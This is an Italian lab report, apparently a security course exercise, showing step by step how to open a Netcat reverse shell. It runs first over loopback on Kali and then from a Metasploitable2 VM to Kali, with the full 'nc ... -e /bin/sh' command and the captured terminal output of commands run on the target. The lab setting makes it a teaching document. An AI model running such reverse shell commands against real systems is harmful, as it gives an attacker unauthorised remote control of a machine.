Report reverse shell Netcat W9D1

In questo esercizio vedremo come creare una reverse shell attraverso Netcat prima da Kali verso Kali (in loopback) e successivamente da Kali verso Metasploitable2.

Prerequisiti:

- Assicuriamoci che entrambe le macchine siano su rete interna e che possano comunicare tra di loro;
- Configurazione di rete di Kali:

```
(kali@ kali)-[~]
    ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.32.100 netmask 255.255.255.0 broadcast 192.168.32.255
    inet6 fe80::a00:27ff:fe3e:18bd prefixlen 64 scopeid 0×20link> ether 08:00:27:3e:18:bd txqueuelen 1000 (Ethernet)
    RX packets 208 bytes 30927 (30.2 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 89 bytes 7309 (7.1 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

• Configurazione di rete di Metasploitable2:

Reverse shell in loopback

Step 1 Aprire un terminale da Kali e lanciare il comando nc -lvnp <porta target>.

La sintassi di questo comando è come segue: -l= listener (ci mettiamo in ascolto), -v= verbose (stampa a schermo più dettagli su cosa sta succedendo), -n= solo indirizzi IP (senza DNS), -p= porta (su che porta vogliamo metterci in ascolto).

```
(kali⊗ kali)-[~]ee username_...

$ nc -lnvp 5555

listening on [any] 5555 ...
```

Step 2 Apriamo un secondo terminale da dove lanceremo il comando nc -v <IP attaccante> <porta target> -e /bin/sh.

La sintassi di questo comando è la seguente: v= verbose (stampa a schermo più dettagli su cosa sta succedendo), -e /bin/sh= appena la connessione si apre, esegue /bin/sh e il terminale della macchina target viene aperto sulla macchina attaccante.

L'IP attaccante in questo caso sarà l'indirizzo di loopback.

```
(kali⊛ kali)-[~]
$ nc -v 127.0.0.1 5555 -e /bin/sh
localhost [127.0.0.1] 5555 (?) open
```

Step 3 Se torniamo al primo terminale potremo vedere come la connessione è stata aperta e possiamo ora eseguire dei comandi per ricavare informazioni sulla macchina target, come ad esempio: whoami, ps, ls, ecc.

Reverse shell da Kali a Metasploitable2

Step 1 Eseguire il comando nc -lvnp <porta target> dal terminale di Kali.

Step 2 Dal terminale di Metasploitable2 eseguire il comando nc -v <IP attaccante> <porta target> -e /bin/sh.

In questo caso l'IP da inserire sarà quello della macchina di Kali.

```
msfadmin@metasploitable:~$ nc -v 192.168.32.100 5555 -e /bin/sh
192.168.32.100: inverse host lookup failed: Host name lookup failure
(UNKNOWN) [192.168.32.100] 5555 (rplay) open
-
```

Step 3 Tornare sul terminale di Kali e da qui potremo lanciare diversi comandi per ricavare info sulla macchina target, come visto in precedenza.

```
$ nc -lnvp 5555
listening on [any] 5555 ...
connect to [192.168.32.100] from (UNKNOWN) [192.168.32.105] 47371
msfadmin
vulnerable
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ifconfig
              Link encap:Ethernet HWaddr 08:00:27:ef:f5:ca
             inet addr:192.168.32.105 Bcast:192.168.32.255 Mask:255.255.0
inet6 addr: fe80::a00:27ff:feef:f5ca/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
              RX packets:59 errors:0 dropped:0 overruns:0 frame:0
              TX packets:209 errors:0 dropped:0 overruns:0 carrier:0
              collisions:0 txqueuelen:1000
             RX bytes:4163 (4.0 KB) TX bytes:28123 (27.4 KB)
Base address:0×d020 Memory:f0200000-f0220000
             Link encap:Local Loopback
             inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
             RX packets:326 errors:0 dropped:0 overruns:0 frame:0
TX packets:326 errors:0 dropped:0 overruns:0 carrier:0
              collisions:0 txqueuelen:0
              RX bytes:119836 (117.0 KB) TX bytes:119836 (117.0 KB)
 PID TTY
4746 tty1
4834 tty1
                          TIME CMD
                    00:00:00 bash
                     00:00:00 sh
 4841 tty1
                     00:00:00 ps
```